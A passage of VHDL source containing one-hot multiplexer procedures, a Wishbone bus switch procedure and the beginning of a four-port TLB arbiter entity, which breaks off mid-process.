SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "000000000001" => data_out <= data_in_0;
WHEN "000000000010" => data_out <= data_in_1;
WHEN "000000000100" => data_out <= data_in_2;
WHEN "000000001000" => data_out <= data_in_3;
WHEN "000000010000" => data_out <= data_in_4;
WHEN "000000100000" => data_out <= data_in_5;
WHEN "000001000000" => data_out <= data_in_6;
WHEN "000010000000" => data_out <= data_in_7;
WHEN "000100000000" => data_out <= data_in_8;
WHEN "001000000000" => data_out <= data_in_9;
WHEN "010000000000" => data_out <= data_in_10;
WHEN "100000000000" => data_out <= data_in_11;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(12 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "0000000000001" => data_out <= data_in_0;
WHEN "0000000000010" => data_out <= data_in_1;
WHEN "0000000000100" => data_out <= data_in_2;
WHEN "0000000001000" => data_out <= data_in_3;
WHEN "0000000010000" => data_out <= data_in_4;
WHEN "0000000100000" => data_out <= data_in_5;
WHEN "0000001000000" => data_out <= data_in_6;
WHEN "0000010000000" => data_out <= data_in_7;
WHEN "0000100000000" => data_out <= data_in_8;
WHEN "0001000000000" => data_out <= data_in_9;
WHEN "0010000000000" => data_out <= data_in_10;
WHEN "0100000000000" => data_out <= data_in_11;
WHEN "1000000000000" => data_out <= data_in_12;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(13 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "00000000000001" => data_out <= data_in_0;
WHEN "00000000000010" => data_out <= data_in_1;
WHEN "00000000000100" => data_out <= data_in_2;
WHEN "00000000001000" => data_out <= data_in_3;
WHEN "00000000010000" => data_out <= data_in_4;
WHEN "00000000100000" => data_out <= data_in_5;
WHEN "00000001000000" => data_out <= data_in_6;
WHEN "00000010000000" => data_out <= data_in_7;
WHEN "00000100000000" => data_out <= data_in_8;
WHEN "00001000000000" => data_out <= data_in_9;
WHEN "00010000000000" => data_out <= data_in_10;
WHEN "00100000000000" => data_out <= data_in_11;
WHEN "01000000000000" => data_out <= data_in_12;
WHEN "10000000000000" => data_out <= data_in_13;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(14 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "000000000000001" => data_out <= data_in_0;
WHEN "000000000000010" => data_out <= data_in_1;
WHEN "000000000000100" => data_out <= data_in_2;
WHEN "000000000001000" => data_out <= data_in_3;
WHEN "000000000010000" => data_out <= data_in_4;
WHEN "000000000100000" => data_out <= data_in_5;
WHEN "000000001000000" => data_out <= data_in_6;
WHEN "000000010000000" => data_out <= data_in_7;
WHEN "000000100000000" => data_out <= data_in_8;
WHEN "000001000000000" => data_out <= data_in_9;
WHEN "000010000000000" => data_out <= data_in_10;
WHEN "000100000000000" => data_out <= data_in_11;
WHEN "001000000000000" => data_out <= data_in_12;
WHEN "010000000000000" => data_out <= data_in_13;
WHEN "100000000000000" => data_out <= data_in_14;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(15 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "0000000000000001" => data_out <= data_in_0;
WHEN "0000000000000010" => data_out <= data_in_1;
WHEN "0000000000000100" => data_out <= data_in_2;
WHEN "0000000000001000" => data_out <= data_in_3;
WHEN "0000000000010000" => data_out <= data_in_4;
WHEN "0000000000100000" => data_out <= data_in_5;
WHEN "0000000001000000" => data_out <= data_in_6;
WHEN "0000000010000000" => data_out <= data_in_7;
WHEN "0000000100000000" => data_out <= data_in_8;
WHEN "0000001000000000" => data_out <= data_in_9;
WHEN "0000010000000000" => data_out <= data_in_10;
WHEN "0000100000000000" => data_out <= data_in_11;
WHEN "0001000000000000" => data_out <= data_in_12;
WHEN "0010000000000000" => data_out <= data_in_13;
WHEN "0100000000000000" => data_out <= data_in_14;
WHEN "1000000000000000" => data_out <= data_in_15;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(16 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "00000000000000001" => data_out <= data_in_0;
WHEN "00000000000000010" => data_out <= data_in_1;
WHEN "00000000000000100" => data_out <= data_in_2;
WHEN "00000000000001000" => data_out <= data_in_3;
WHEN "00000000000010000" => data_out <= data_in_4;
WHEN "00000000000100000" => data_out <= data_in_5;
WHEN "00000000001000000" => data_out <= data_in_6;
WHEN "00000000010000000" => data_out <= data_in_7;
WHEN "00000000100000000" => data_out <= data_in_8;
WHEN "00000001000000000" => data_out <= data_in_9;
WHEN "00000010000000000" => data_out <= data_in_10;
WHEN "00000100000000000" => data_out <= data_in_11;
WHEN "00001000000000000" => data_out <= data_in_12;
WHEN "00010000000000000" => data_out <= data_in_13;
WHEN "00100000000000000" => data_out <= data_in_14;
WHEN "01000000000000000" => data_out <= data_in_15;
WHEN "10000000000000000" => data_out <= data_in_16;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(17 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "000000000000000001" => data_out <= data_in_0;
WHEN "000000000000000010" => data_out <= data_in_1;
WHEN "000000000000000100" => data_out <= data_in_2;
WHEN "000000000000001000" => data_out <= data_in_3;
WHEN "000000000000010000" => data_out <= data_in_4;
WHEN "000000000000100000" => data_out <= data_in_5;
WHEN "000000000001000000" => data_out <= data_in_6;
WHEN "000000000010000000" => data_out <= data_in_7;
WHEN "000000000100000000" => data_out <= data_in_8;
WHEN "000000001000000000" => data_out <= data_in_9;
WHEN "000000010000000000" => data_out <= data_in_10;
WHEN "000000100000000000" => data_out <= data_in_11;
WHEN "000001000000000000" => data_out <= data_in_12;
WHEN "000010000000000000" => data_out <= data_in_13;
WHEN "000100000000000000" => data_out <= data_in_14;
WHEN "001000000000000000" => data_out <= data_in_15;
WHEN "010000000000000000" => data_out <= data_in_16;
WHEN "100000000000000000" => data_out <= data_in_17;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(18 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "0000000000000000001" => data_out <= data_in_0;
WHEN "0000000000000000010" => data_out <= data_in_1;
WHEN "0000000000000000100" => data_out <= data_in_2;
WHEN "0000000000000001000" => data_out <= data_in_3;
WHEN "0000000000000010000" => data_out <= data_in_4;
WHEN "0000000000000100000" => data_out <= data_in_5;
WHEN "0000000000001000000" => data_out <= data_in_6;
WHEN "0000000000010000000" => data_out <= data_in_7;
WHEN "0000000000100000000" => data_out <= data_in_8;
WHEN "0000000001000000000" => data_out <= data_in_9;
WHEN "0000000010000000000" => data_out <= data_in_10;
WHEN "0000000100000000000" => data_out <= data_in_11;
WHEN "0000001000000000000" => data_out <= data_in_12;
WHEN "0000010000000000000" => data_out <= data_in_13;
WHEN "0000100000000000000" => data_out <= data_in_14;
WHEN "0001000000000000000" => data_out <= data_in_15;
WHEN "0010000000000000000" => data_out <= data_in_16;
WHEN "0100000000000000000" => data_out <= data_in_17;
WHEN "1000000000000000000" => data_out <= data_in_18;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(19 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "00000000000000000001" => data_out <= data_in_0;
WHEN "00000000000000000010" => data_out <= data_in_1;
WHEN "00000000000000000100" => data_out <= data_in_2;
WHEN "00000000000000001000" => data_out <= data_in_3;
WHEN "00000000000000010000" => data_out <= data_in_4;
WHEN "00000000000000100000" => data_out <= data_in_5;
WHEN "00000000000001000000" => data_out <= data_in_6;
WHEN "00000000000010000000" => data_out <= data_in_7;
WHEN "00000000000100000000" => data_out <= data_in_8;
WHEN "00000000001000000000" => data_out <= data_in_9;
WHEN "00000000010000000000" => data_out <= data_in_10;
WHEN "00000000100000000000" => data_out <= data_in_11;
WHEN "00000001000000000000" => data_out <= data_in_12;
WHEN "00000010000000000000" => data_out <= data_in_13;
WHEN "00000100000000000000" => data_out <= data_in_14;
WHEN "00001000000000000000" => data_out <= data_in_15;
WHEN "00010000000000000000" => data_out <= data_in_16;
WHEN "00100000000000000000" => data_out <= data_in_17;
WHEN "01000000000000000000" => data_out <= data_in_18;
WHEN "10000000000000000000" => data_out <= data_in_19;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(20 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_in_20 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "000000000000000000001" => data_out <= data_in_0;
WHEN "000000000000000000010" => data_out <= data_in_1;
WHEN "000000000000000000100" => data_out <= data_in_2;
WHEN "000000000000000001000" => data_out <= data_in_3;
WHEN "000000000000000010000" => data_out <= data_in_4;
WHEN "000000000000000100000" => data_out <= data_in_5;
WHEN "000000000000001000000" => data_out <= data_in_6;
WHEN "000000000000010000000" => data_out <= data_in_7;
WHEN "000000000000100000000" => data_out <= data_in_8;
WHEN "000000000001000000000" => data_out <= data_in_9;
WHEN "000000000010000000000" => data_out <= data_in_10;
WHEN "000000000100000000000" => data_out <= data_in_11;
WHEN "000000001000000000000" => data_out <= data_in_12;
WHEN "000000010000000000000" => data_out <= data_in_13;
WHEN "000000100000000000000" => data_out <= data_in_14;
WHEN "000001000000000000000" => data_out <= data_in_15;
WHEN "000010000000000000000" => data_out <= data_in_16;
WHEN "000100000000000000000" => data_out <= data_in_17;
WHEN "001000000000000000000" => data_out <= data_in_18;
WHEN "010000000000000000000" => data_out <= data_in_19;
WHEN "100000000000000000000" => data_out <= data_in_20;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(21 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_in_20 : IN std_logic_vector;
SIGNAL data_in_21 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "0000000000000000000001" => data_out <= data_in_0;
WHEN "0000000000000000000010" => data_out <= data_in_1;
WHEN "0000000000000000000100" => data_out <= data_in_2;
WHEN "0000000000000000001000" => data_out <= data_in_3;
WHEN "0000000000000000010000" => data_out <= data_in_4;
WHEN "0000000000000000100000" => data_out <= data_in_5;
WHEN "0000000000000001000000" => data_out <= data_in_6;
WHEN "0000000000000010000000" => data_out <= data_in_7;
WHEN "0000000000000100000000" => data_out <= data_in_8;
WHEN "0000000000001000000000" => data_out <= data_in_9;
WHEN "0000000000010000000000" => data_out <= data_in_10;
WHEN "0000000000100000000000" => data_out <= data_in_11;
WHEN "0000000001000000000000" => data_out <= data_in_12;
WHEN "0000000010000000000000" => data_out <= data_in_13;
WHEN "0000000100000000000000" => data_out <= data_in_14;
WHEN "0000001000000000000000" => data_out <= data_in_15;
WHEN "0000010000000000000000" => data_out <= data_in_16;
WHEN "0000100000000000000000" => data_out <= data_in_17;
WHEN "0001000000000000000000" => data_out <= data_in_18;
WHEN "0010000000000000000000" => data_out <= data_in_19;
WHEN "0100000000000000000000" => data_out <= data_in_20;
WHEN "1000000000000000000000" => data_out <= data_in_21;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(22 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_in_20 : IN std_logic_vector;
SIGNAL data_in_21 : IN std_logic_vector;
SIGNAL data_in_22 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "00000000000000000000001" => data_out <= data_in_0;
WHEN "00000000000000000000010" => data_out <= data_in_1;
WHEN "00000000000000000000100" => data_out <= data_in_2;
WHEN "00000000000000000001000" => data_out <= data_in_3;
WHEN "00000000000000000010000" => data_out <= data_in_4;
WHEN "00000000000000000100000" => data_out <= data_in_5;
WHEN "00000000000000001000000" => data_out <= data_in_6;
WHEN "00000000000000010000000" => data_out <= data_in_7;
WHEN "00000000000000100000000" => data_out <= data_in_8;
WHEN "00000000000001000000000" => data_out <= data_in_9;
WHEN "00000000000010000000000" => data_out <= data_in_10;
WHEN "00000000000100000000000" => data_out <= data_in_11;
WHEN "00000000001000000000000" => data_out <= data_in_12;
WHEN "00000000010000000000000" => data_out <= data_in_13;
WHEN "00000000100000000000000" => data_out <= data_in_14;
WHEN "00000001000000000000000" => data_out <= data_in_15;
WHEN "00000010000000000000000" => data_out <= data_in_16;
WHEN "00000100000000000000000" => data_out <= data_in_17;
WHEN "00001000000000000000000" => data_out <= data_in_18;
WHEN "00010000000000000000000" => data_out <= data_in_19;
WHEN "00100000000000000000000" => data_out <= data_in_20;
WHEN "01000000000000000000000" => data_out <= data_in_21;
WHEN "10000000000000000000000" => data_out <= data_in_22;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE switch_fab(SIGNAL clk : IN std_logic;
SIGNAL rst : IN std_logic;
-- wb-bus #0
SIGNAL cyc_0 : IN std_logic;
SIGNAL ack_0 : OUT std_logic;
SIGNAL err_0 : OUT std_logic;
SIGNAL wbo_0 : IN wbo_type;
-- wb-bus to slave
SIGNAL wbo_slave : IN wbi_type;
SIGNAL wbi_slave : OUT wbo_type;
SIGNAL wbi_slave_cyc : OUT std_logic
) IS
BEGIN
IF rst = '1' THEN
wbi_slave.stb <= '0';
ELSIF clk'EVENT AND clk = '1' THEN
IF cyc_0 = '1' THEN
IF wbo_slave.err = '1' THEN -- error
wbi_slave.stb <= '0';
ELSIF wbo_slave.ack = '1' AND wbo_0.cti = "010" THEN -- burst
wbi_slave.stb <= wbo_0.stb;
ELSIF wbo_slave.ack = '1' AND wbo_0.cti /= "010" THEN -- single
wbi_slave.stb <= '0';
ELSE
wbi_slave.stb <= wbo_0.stb;
END IF;
ELSE
wbi_slave.stb <= '0';
END IF;
END IF;
wbi_slave_cyc <= cyc_0;
ack_0 <= wbo_slave.ack;
err_0 <= wbo_slave.err;
wbi_slave.dat <= wbo_0.dat;
wbi_slave.adr <= wbo_0.adr;
wbi_slave.sel <= wbo_0.sel;
wbi_slave.we <= wbo_0.we;
wbi_slave.cti <= wbo_0.cti;
wbi_slave.tga <= wbo_0.tga;
END switch_fab;
END;
|
------------------------------------------------------------------------------
-- TLB arbiter implementation
------------------------------------------------------------------------------
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
use ieee.std_logic_arith.all;
use ieee.std_logic_unsigned.all;
library tlb_arbiter_v2_01_a;
use tlb_arbiter_v2_01_a.all;
entity tlb_arbiter is
generic
(
C_TLBARB_NUM_PORTS : integer := 2;
C_TAG_WIDTH : integer := 20;
C_DATA_WIDTH : integer := 21
);
port
(
sys_clk : in std_logic;
sys_reset : in std_logic;
-- TLB client A
i_tag_a : in std_logic_vector(C_TAG_WIDTH - 1 downto 0);
i_data_a : in std_logic_vector(C_DATA_WIDTH - 1 downto 0);
o_data_a : out std_logic_vector(C_DATA_WIDTH - 1 downto 0);
i_request_a : in std_logic;
i_we_a : in std_logic;
o_match_a : out std_logic;
o_busy_a : out std_logic;
-- TLB client B
i_tag_b : in std_logic_vector(C_TAG_WIDTH - 1 downto 0);
i_data_b : in std_logic_vector(C_DATA_WIDTH - 1 downto 0);
o_data_b : out std_logic_vector(C_DATA_WIDTH - 1 downto 0);
i_request_b : in std_logic;
i_we_b : in std_logic;
o_match_b : out std_logic;
o_busy_b : out std_logic;
-- TLB client C
i_tag_c : in std_logic_vector(C_TAG_WIDTH - 1 downto 0);
i_data_c : in std_logic_vector(C_DATA_WIDTH - 1 downto 0);
o_data_c : out std_logic_vector(C_DATA_WIDTH - 1 downto 0);
i_request_c : in std_logic;
i_we_c : in std_logic;
o_match_c : out std_logic;
o_busy_c : out std_logic;
-- TLB client D
i_tag_d : in std_logic_vector(C_TAG_WIDTH - 1 downto 0);
i_data_d : in std_logic_vector(C_DATA_WIDTH - 1 downto 0);
o_data_d : out std_logic_vector(C_DATA_WIDTH - 1 downto 0);
i_request_d : in std_logic;
i_we_d : in std_logic;
o_match_d : out std_logic;
o_busy_d : out std_logic;
-- TLB
o_tlb_tag : out std_logic_vector(C_TAG_WIDTH - 1 downto 0);
i_tlb_data : in std_logic_vector(C_DATA_WIDTH - 1 downto 0);
o_tlb_data : out std_logic_vector(C_DATA_WIDTH - 1 downto 0);
i_tlb_match : in std_logic;
o_tlb_we : out std_logic;
i_tlb_busy : in std_logic
);
end entity;
architecture imp of tlb_arbiter is
signal active : std_logic;
signal counter : std_logic_vector(1 downto 0);
signal busy_a : std_logic;
signal busy_b : std_logic;
signal busy_c : std_logic;
signal busy_d : std_logic;
begin
o_data_a <= i_tlb_data;
o_data_b <= i_tlb_data;
o_data_c <= i_tlb_data;
o_data_d <= i_tlb_data;
o_match_a <= i_tlb_match;
o_match_b <= i_tlb_match;
o_match_c <= i_tlb_match;
o_match_d <= i_tlb_match;
-- active <= busy_a = '0' or busy_b = '0';
active <= not (busy_a and busy_b and busy_c and busy_d);
handle_request : process(sys_clk,sys_reset)
variable req_a : std_logic;
variable req_b : std_logic;
variable req_c : std_logic;
variable req_d : std_logic;
begin
if sys_reset = '1' then
busy_a <= '1';
busy_b <= '1';
busy_c <= '1';
busy_d <= '1';
counter <= (others => '0');
elsif rising_edge(sys_clk) then
req_a := i_request_a;
if C_TLBARB_NUM_PORTS > 1 then req_b := i_request_b; else req_b := '0'; end if;
if C_TLBARB_NUM_PORTS > 2 then req_c := i_request_c; else req_c := '0'; end if;
if C_TLBARB_NUM_PORTS > 3 then req_d := i_request_d; else req_d := '0'; end if;
if active = '1' then -- wait for end of request
if busy_a = '0' and req_a = '0' then busy_a <= '1'; end if;
if busy_b = '0' and req_b = '0' then busy_b <= '1'; end if;
if busy_c = '0' and req_c = '0' then busy_c <= '1'; end if;
if busy_d = '0' and req_d = '0' then busy_d <= '1'; end if;
else -- check incoming requests
if (req_a = '1' or req_b = '1') and (req_c = '1' or req_d = '1') then
if counter(1) = '0' then req_c := '0'; req_d := '0'; end if;
if counter(1) = '1' then req_a := '0'; req_b := '0'; end if;
end if;
if (req_a = '1' or req_c = '1') and (req_b = '1' or req_d = '1') then
if counter(0) = '0' then req_b := '0'; req_d := '0'; end if;
if counter(1) = '0' then req_a := '0'; req_c := '0'; end if;
end if;
busy_a <= not req_a;
busy_b <= not req_b;
busy_c <= not req_c;
busy_d <= not req_d;
counter <= counter + 1;
--if i_request_a = '1' and i_request_b = '1' then
-- if counter = '0' then busy_a <= '0'; end if;
-- if counter = '1' then busy_b <= '0'; end if;
-- counter <= not counter; -- increment counter
--elsif i_request_a = '1' and i_request_b = '0' then
-- busy_a <= '0';
--elsif i_request_a = '0' and i_request_b = '1' then
-- busy_b <= '0';
--end if;
end if;
end if;
end process;
tlb_mux : process(busy_a, busy_b, i_tag_a, i_tag_b, i_data_a, i_data_b, i_we_a, i_we_b, i_tlb_busy)
begin
o_busy_a <= '1';
o_busy_b <= '1';
o_busy_c <= '1';
o_busy_d <= '1';
if busy_a = '0' then
o_tlb_tag <= i_tag_a;
o_tlb_data <= i_data_a;
o_tlb_we <= i_we_a;
o_busy_a <= i_tlb_busy;
elsif busy_b = '0' then
o_tlb_tag <= i_tag_b;
o_tlb_data <= i_data_b;
o_tlb_we <= i_we_b;
o_busy_b <= i_tlb_busy;
elsif busy_c = '0' then
o_tlb_tag <= i_tag_c;
o_tlb_data <= i_data_c;
o_tlb_we <= i_we_c;
o_busy_c <= i_tlb_busy;
elsif busy_d = '0' then
o_tlb_tag <= i_tag_d;
o_tlb_data <= i_data_d;
o_tlb_we <= i_we_d;
o_busy_d <= i_tlb_busy;
else
o_tlb_tag <= (others => '0');
